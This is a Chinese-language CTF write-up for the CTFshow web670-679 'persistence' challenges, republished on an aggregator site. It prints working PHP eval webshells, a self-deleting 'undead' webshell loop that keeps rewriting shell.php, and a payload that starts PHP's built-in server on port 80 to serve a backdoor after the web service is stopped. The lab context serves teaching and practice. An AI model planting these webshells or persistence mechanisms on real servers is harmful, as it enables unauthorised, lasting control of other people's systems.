Ctfshow web入门 权限维持篇 web670-web679 详细题解 全

这篇具有很好参考价值的文章主要介绍了Ctfshow web入门 权限维持篇 web670-web679 详细题解 全。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

CTFshow 权限维持 web670

补充一下PHP中单双引号的区别:

单引号和双引号之间最显着的区别在于我们插入字符串和变量时。单引号不插入字符串和变量。单引号内的内容会按原样打印出来。在大多数情况下,单引号内没有任何变量或转义序列的编译。

但是,在双引号的情况下,写在引号内的变量将被插入字符串。这意味着将评估字符串中的变量。因此,在插入字符串和变量时很容易使用双引号。双引号优于单引号的优点是我们不需要使用.运算符连接字符串和变量。但是,由于需要在字符串中计算变量,因此使用双引号会比使用单引号稍微慢一些。

通俗一点说,双引号内的内容更加“智能”一点,如转义符$_POST[1]只有在双引号内才会被解析


题目说明:想办法维持权限,确定无误后提交check,通过check后,才会生成flag,此前flag不存在。

Ctfshow web入门 权限维持篇 web670-web679 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,PHP,权限维持,不死马,命令执行,安全

首先执行ls等命令查看目录

GET:?action=cmd
POST:cmd=system('ls /');

当前目录下只有一个index.php文件,根目录下确实没有flag。

Ctfshow web入门 权限维持篇 web670-web679 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,PHP,权限维持,不死马,命令执行,安全

然后phpinfo简单看看PHP配置。无禁用函数。

Ctfshow web入门 权限维持篇 web670-web679 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,PHP,权限维持,不死马,命令执行,安全

尝试写一个一句话马到当前目录(就是web目录)下的7.php文件中。

GET:?action=cmd

POST:cmd=file_put_contents('7.php', '<?php @eval($_POST[1]);?>');

发现这里PHP是有文件写入权限的。(写马不要用双引号,一开始踩坑了,单引号原样输出到木马文件中)

Ctfshow web入门 权限维持篇 web670-web679 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,PHP,权限维持,不死马,命令执行,安全

补充一个踩坑时候找到的知识点:short_open_tag=Off不允许使用代码开始标志的缩写形式(<? ?> )。

此外,执行check之后,会发现当前目录下所有文件都被删了。。。所以题目归为权限维持。

GET:?action=check

Ctfshow web入门 权限维持篇 web670-web679 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,PHP,权限维持,不死马,命令执行,安全

羽师傅猜测check后执行:

echo 'flag{xxxx}' > /flag_xx.txt
rm -rf *

(重开环境)以此猜测为基础,维持权限的方法有三。

方法一:

利用rm -rf *的小缺陷,它无法删除点号开头的文件,所以可以写木马到.7.php文件,check后不会被删除。

GET:?action=cmd

POST:cmd=file_put_contents('.shell.php', '<?php @eval($_POST[1]);?>');

emmm,但是貌似写不进去。

Ctfshow web入门 权限维持篇 web670-web679 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,PHP,权限维持,不死马,命令执行,安全


方法二:

可以使用不死马将木马写入内存。

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = 'shell.php';
    $code = '<?php @eval($_POST[1]);?>';
    while (1) {
        file_put_contents($file, $code);
        usleep(5000);
    }
?>

解释一下不死马(内存马):

set_time_limit()函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉)

ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为True或者1,则忽略与用户的断开)

unlink(FILE)函数:删除文件(防止文件落地被检测工具查杀)

file_put_contents函数:将一个字符串写入该文件中

usleep函数:延迟执行当前脚本数微秒,即条件竞争

payload:

GET:?action=cmd

POST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

访问该不死马17.php后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php执行命令拿flag了。

Ctfshow web入门 权限维持篇 web670-web679 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,PHP,权限维持,不死马,命令执行,安全


方法三:

如果题目出网的话可以使用反弹shell。
不过题目是不出网的,所以这种方法无法使用。

CTFshow 权限维持 web671

看起来和web670没什么区别。

Ctfshow web入门 权限维持篇 web670-web679 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,PHP,权限维持,不死马,命令执行,安全

payload:

GET:?action=cmd

POST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

访问该不死马17.php后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php执行命令拿flag了。

唯一的区别就是,flag文件在根目录。

Ctfshow web入门 权限维持篇 web670-web679 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,PHP,权限维持,不死马,命令执行,安全

CTFshow 权限维持 web672

看起来还是和web670没什么区别。

Ctfshow web入门 权限维持篇 web670-web679 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,PHP,权限维持,不死马,命令执行,安全

payload:

GET:?action=cmd

POST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

访问该不死马17.php后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php执行命令拿flag了。

和web671没区别。

Ctfshow web入门 权限维持篇 web670-web679 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,PHP,权限维持,不死马,命令执行,安全

CTFshow 权限维持 web673

看起来还是和web670没什么区别。

Ctfshow web入门 权限维持篇 web670-web679 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,PHP,权限维持,不死马,命令执行,安全

payload:

GET:?action=cmd

POST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

访问该不死马17.php后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php执行命令拿flag了。

和web671没区别。

Ctfshow web入门 权限维持篇 web670-web679 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,PHP,权限维持,不死马,命令执行,安全

CTFshow 权限维持 web674

看起来还是和web670没什么区别。

Ctfshow web入门 权限维持篇 web670-web679 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,PHP,权限维持,不死马,命令执行,安全

payload:

GET:?action=cmd

POST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

访问该不死马17.php后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php执行命令拿flag了。

和web671没区别。

Ctfshow web入门 权限维持篇 web670-web679 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,PHP,权限维持,不死马,命令执行,安全

CTFshow 权限维持 web675

看起来还是和web670没什么区别。

Ctfshow web入门 权限维持篇 web670-web679 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,PHP,权限维持,不死马,命令执行,安全

payload:

GET:?action=cmd

POST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

访问该不死马17.php后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php执行命令拿flag了。

和web671没区别。

Ctfshow web入门 权限维持篇 web670-web679 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,PHP,权限维持,不死马,命令执行,安全

CTFshow 权限维持 web676

看起来还是和web670没什么区别。

Ctfshow web入门 权限维持篇 web670-web679 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,PHP,权限维持,不死马,命令执行,安全

payload:

GET:?action=cmd

POST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

访问该不死马17.php后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php执行命令拿flag了。

Ctfshow web入门 权限维持篇 web670-web679 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,PHP,权限维持,不死马,命令执行,安全

CTFshow 权限维持 web677【】

看起来还是和web670没什么区别。(只是看起来,这次是真有区别了)

Ctfshow web入门 权限维持篇 web670-web679 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,PHP,权限维持,不死马,命令执行,安全

用以前的payload试试:

GET:?action=cmd

POST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

查看一下当前目录,发现并没有成功写入文件。这题应该是没有了写入文件权限(PHP存放临时文件的临时目录/tmp除外)

Ctfshow web入门 权限维持篇 web670-web679 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,PHP,权限维持,不死马,命令执行,安全

写不了文件就得换一种方法了。羽师傅的payload:

GET:?action=cmd

POST:cmd=system('while true;do cat /f*;done');

while true;do cat /tmp/f*;done是shell脚本的语法,满足条件(true)时,执行cat /f*命令。

shell脚本之十:while循环及应用实践 - cuiyongchao007 - 博客园 (cnblogs.com)

执行后,然后直接check。

可能需要等一会才能出flag,要耐心哦~(要不然就会像我一样卡了两天…)

Ctfshow web入门 权限维持篇 web670-web679 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,PHP,权限维持,不死马,命令执行,安全

同一原理,check会删掉所有文件但是不会杀掉进程,那就我们可以使用延时的方法读取/flag文件。

GET:?action=cmd

POST:cmd=system('sleep 10;cat /f*');

check后等一会flag就出来了。

Ctfshow web入门 权限维持篇 web670-web679 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,PHP,权限维持,不死马,命令执行,安全

CTFshow 权限维持 web678

同web677。

CTFshow 权限维持 web679【】

题目描述:check后,会停止一切web服务,包括nginx php-fpm,天地同寿的打法,你能应付吗

源码还是一样。

Ctfshow web入门 权限维持篇 web670-web679 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,PHP,权限维持,不死马,命令执行,安全

如果check之后会关了web服务的话,无论是写了文件还是一直在执行cat /f*命令都会失效,因为都没web服务了,客户端根本连接不到服务端,无法进行操作。

大佬们的思路是启动php内置服务器,类似于python能开启http服务一样。

由于是www-data权限,⽆法直接启动nginx和php-fpm,但是可以启动php内置服务器php -S 0.0.0.0:80,运行命令的根目录就被当成web服务根目录。

payload:

GET:?action=cmd

POST:
cmd=file_put_contents("/tmp/index.php","<?php eval(\$_POST[1]);?>");system("cd /tmp;sleep 10;php -S 0.0.0.0:80 -t /tmp/");
//这里要用双引号,$_POST[1]由于$被转义了,所以原样输出
或者
cmd=system('cd /tmp;echo "<?php eval(\$_POST[1]);?>" > index.php;sleep 10;php -S 0.0.0.0:80');

把木马写入可写目录/tmp下的index.php(默认的索引文件,访问时无需像访问同目录下1.php一样加上文件名,访问index.php是直接url/,访问1.php是访问url/1.php中,然后睡十秒,在/tmp目录下开启php内置服务器。

十秒是给我们的反应时间(点check时间)。流程是执行命令后,木马已经写入。然后睡十秒,期间我们check生成,期间命令仍然执行尽管已经关了web服务(因为只是web服务关了,外界访问不到,但是服务器内部php语言环境还在)。十秒结束后php内置服务开启,我们就可以使用木马执行命令。

Ctfshow web入门 权限维持篇 web670-web679 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,PHP,权限维持,不死马,命令执行,安全

Ctfshow web入门 权限维持篇 web670-web679 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,PHP,权限维持,不死马,命令执行,安全


权限维持结束收工!

参考文章如下:

CTFSHOW权限维持篇_yu22x的博客-CSDN博客

【ctfshow】web入门-权限维持 - lewiserii’s blog

内网渗透之权限维持 - anoldcat - 博客园 (cnblogs.com)

权限维持及后门持久化技巧总结 - FreeBuf网络安全行业门户

Ctfshow web入门 权限维持篇 web670-web679 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,PHP,权限维持,不死马,命令执行,安全文章来源地址https://www.toymoban.com/news/detail-668364.html

到了这里,关于Ctfshow web入门 权限维持篇 web670-web679 详细题解 全的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全

    学习资料: (梭哈~) https://www.cnblogs.com/20175211lyz/p/11413335.html https://www.cnblogs.com/zhaijiahui/p/9147595.html https://www.cnblogs.com/r00tuser/p/7255939.html https://mp.weixin.qq.com/s?__biz=MzU1ODg3NTMyMQ==mid=2247489349idx=1sn=ab435be65bc6c35a21ea4bd040693d8csource=41#wechat_redirect https://security.tencent.com/index.php/blog/msg/69

    2024年02月13日
    浏览(28)
  • Ctfshow web入门 sqli-labs特性篇 web517-web568 详细题解 全

    这里插一句。 limit 100,1 是从第100条数据开始,读取1条数据。 limit 6 是读取前6条数据。 报错注入 绕过字符串返回长度限制。 盲注 布尔和时间都可以的。 闭合换成了 \\\" 。其他和上题一样。 ctfshow–flagpa–flag3a3– 测一下回显位 布尔盲注还是能用。不过这次我们换个方法。 它

    2024年02月15日
    浏览(35)
  • Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 全

    pregmatch 是正则匹配函数,匹配是否包含flag, if(!preg_match(\\\"/flag/i\\\", $c)) , /i 忽略大小写 可以利用system来间接执行系统命令 flag采用 f* 绕过,或者 mv fl?g.php 1.txt 修改文件名,或者 cat 反引号ls反引号 linux通配符:https://www.cnblogs.com/ysuwangqiang/p/11364173.html 多了对system和php的过滤 用

    2024年02月07日
    浏览(42)
  • Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中(预计8.18完成)~

    pregmatch 是正则匹配函数,匹配是否包含flag, if(!preg_match(\\\"/flag/i\\\", $c)) , /i 忽略大小写 可以利用system来间接执行系统命令 flag采用 f* 绕过,或者 mv fl?g.php 1.txt 修改文件名,或者 cat 反引号ls反引号 linux通配符:https://www.cnblogs.com/ysuwangqiang/p/11364173.html 多了对system和php的过滤 用

    2024年02月12日
    浏览(30)
  • CTFShow-WEB入门篇命令执行详细Wp(29-40)

    CTFShow 平台:https://ctf.show/ preg_match():函数执行一个正则表达式匹配。 这里过滤了 flag/i 过滤的不是很多就两个所以方法有很多种 ctfshow{f6702830-5d6b-4cfb-9678-4ae7fa2ba198} 过滤了 flag、system、php 其实还可以使用上面的方法换一个命令执行函数即可。 命令执行函数: passthru、she

    2024年02月10日
    浏览(31)
  • CTFshow web入门---web56

    题目: 题目分析: 查看本题,发现本题为命令执行类题目,但是有一个很致命的点,那么就是他过滤了所有的字母和数字,以及一系列的符号。因此本题最值得推敲的点就是如何实现 无字母数字的命令执行 通过拜读P神的一篇文章,其中《无字母数字webshell之提高篇》讲到了

    2023年04月22日
    浏览(28)
  • ctfshow web入门 web141-145

    1.web141 ^w+$表示在开头和末尾匹配字母数字_,传入的v3值不能有字母数字_,即无字母的命令执行 php中1-phpinfo()是可以执行的,加减乘除都可以实现 这里或,异或,取反等运算都可以 这里采用羽师傅的异或脚本生成payload payload: 2.web142 payload: 3.web143 过滤了取反,+,-等符号,还可

    2024年02月22日
    浏览(59)
  • ctfshow--web入门--文件上传

    目录 ctfshow--web入门--文件上传 web151(前端校验) web152(content-type) web153(.user.ini) web154(内容检测\\\'php\\\') web155(内容检测\\\'php\\\') web156(内容检测\\\'[\\\') web157(内容检测\\\'php\\\'\\\'[]\\\'\\\'{}\\\'\\\';\\\') web158(文件检测\\\'php\\\'\\\'{\\\'\\\'[\\\'\\\';\\\'\\\'log\\\') web159(日志包含) web160(日志空格检测) web161(日志文件头检测) web162web163(session包含) w

    2024年02月14日
    浏览(24)
  • CTFShow-Web入门

    web1 解题思路: 查看源代码 web2 解题思路: 在无法查看源代码的情况下可以使用快捷键 web3 解题思路: 查看源代码无效,尝试发送POST请求 web4 解题思路: 根据题目提示: 总有人把后台地址写入robots,帮黑阔大佬们引路。 找到了flag的路径 web5 解题思路: 根据题目提醒phps源码泄露,访

    2024年02月12日
    浏览(28)
  • ctfshow web入门 爆破 21-28

    刚进去就要求我们登录,这里题目给了我们一个字典,就是这个字典为什么他那么多数字中 就一个字母的密码还不明显吗。   这里我们使用burp拦包,这里没有发现登录的账号密码,但是有一串可疑的字符串,尝试base64解密 这我们就得到了,我们测试用的账号密码了,这里将

    2024年02月01日
    浏览(27)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包